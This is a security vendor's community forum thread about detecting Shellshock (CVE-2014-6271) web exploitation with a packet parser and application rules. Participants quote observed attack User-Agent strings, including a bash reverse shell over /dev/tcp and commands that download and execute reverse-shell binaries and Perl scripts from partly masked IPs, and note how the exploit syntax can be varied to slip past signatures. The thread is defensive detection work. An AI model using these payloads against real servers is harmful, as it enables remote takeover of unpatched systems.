Shellshock discovery

[RSAAdmin]

Yesterday the security community as a whole was scrambling in reaction to the news of the Shellshock vulnerability (GNU Bash ulnerability – (CVE-2014-6271). While your teams rush to identify and patch potentially vulnerable platforms in your environment, it is important to keep in mind that this latest vulnerability can be exploited in a wide variety of forms and across multiple-attack surfaces.  You cannot count on a single control type to detect exploitation of this vulnerability.

That being said, some of our own internal power users of RSA Security Analytics have been whittling away at possible detection scenarios utilizing a variety of content types. One of these efforts resulted in the attached flex parser for your packet decoders. This is a “quick and dirty” parser to help detect web-based Shellshock exploit activity. 

This is being shared in the interest of hastening your ability to identify Shellshock activity over what will be its most popular and accessible conduit into your network, web traffic.  Please keep in mind that there are many, many other avenues in which this vulnerability may be exploited. While we feel confident in the core ability of this parser to detect exploit attempts, it is not designed to take into account other network conduits from which the vulnerability can be exploited. 

Lastly this is not a production piece of content. There is no formal support, warranty or indemnity for the parser and your mileage may
vary.

As the teams device new ways to address specific attack vectors we'll be posting them, with the same caveats. There is no "magic bullet" piece of content for detecting all possible exploits so stay tuned for updates.

Good Hunting

[RSAAdmin]

This just in....

Here is a little application rule our own teams have been using to detect exploit activity:

alias.host begins '()' || referer begins '()' || client begins '()'

[RSAAdmin]

Hrm, this throws a warning of "ShellShock-public.parser: Data element 'ShellShock_Web_Shell::SS' was not declared" in the log on a test NW 9.8 decoder. Doesn't look like the SS variable is declared. Even though it's just a warning it prevents the parser from loading.

I added

     <number name="SS" />

to the declaration section and reloaded parsers, and the ShelLShock_Web_Shell parser is loaded.

[RSAAdmin]

Thanks!  As mentioned, this hasn't gone through our normal QA  processes, so I'm glad you ran into this issue rather quickly and shared for our other 9.8 practitioners out there.

[RQuinn]

The app rule is ok but we're finding it is also triggering on emails back and forth about shellshock.

I modified yours to exclude email

alias.host begins '()' || referer begins '()' || client begins '()' && service !=25

and we have also been using the following:

client begins '() { :;};' && service !=25

Some example clients we have seen

() { :;}; /bin/bash -c "wget -o /var/tmp/wow1 208.118.xx.xx/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"

() { :; }; echo -e &quot;content-type: text/plain\n&quot;; echo qqqqqqq

thanks-rob

shellshock-scan

[RSAAdmin]

Good stuff- here's some we have observed:

User-Agent: () { :; }; /usr/bin/curl http://xxx.xxx.142.68:8089

#connect to an IP and port for testing connectivity

User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/xx.xx.159.224/4545 0>&1

#redirect Bash prompt to TCP connection with IP and port

User-Agent: () { :; }; /usr/bin/wget xxx.xx.61.15/shell1 -O /tmp/shell1 | /bin/chmod 777 /tmp/shell1 | /tmp/shell1

#download ELF reverse shell, change permissions and execute

User-Agent: () { :; }; /usr/bin/wget www.yyy.xx/zzzz -O /tmp/fu4k | /bin/chmod 777 /tmp/zzzz | /tmp/zzzz

#download ELF reverse shell, change permissions and execute

User-Agent: () { :; }; /usr/bin/wget xxx.xxx.156.229/log.pl -O /tmp/log.pl

#download perl reverse shell to a file for subsequent execution

[RQuinn]

They are definitely a bit noisy but some minor modifications can tighten this up to actual events.

Currently the app rule  client begins '() { :;};' && service !=25 is one of our better indicators.

Feedback on the parser - it's been a while since I have written my own, not sure if it's possible to make these mods easily but currently i have these events going into risk.info and then some of my modifications as app rules to bump up the priority based on some of the additional filtering below.

Shellshock_ua -> this is primarily triggering on web searches for intel on shell shock - eg blog hits, erattasec etc. I think this meta match needs to be limited to client=shellshock-scan. could add in some of the other client finds such as thanks-rob or () { :;};

web shell cgi dir - this is finding everything on the internet. Limiting it to company domains or organization.dst=yourcompany cuts down on a lot of the noise.

shellshock web shell default dir - this has some good hits for where the client doesn't exist but need to filter out service=25 again to remove the email hits.

**update** pair this with risk.info: http direct to ip request or risk.info: http1.0 without user-agent for close to 100% accuracy

shellshock_web_shell_header - also very noisy - filtering it on our org.dst/known IP ranges as a destination makes this much more accurate.

[RSAAdmin]

I'd be cautious about using the full sequence '() { :;};' in any match condition -- the colon in there is just a minimalist segment of code to avoid a syntax error, but almost any text at all will work, so in this case changing the colon to literally almost anything at all will render that app rule useless.

() { anything; };

() { .; };

() { it was the best of times, it was the worst of times; };

     -- these will all work just fine for the exploit...

[Anonymous]

are you all finding the parser helpful?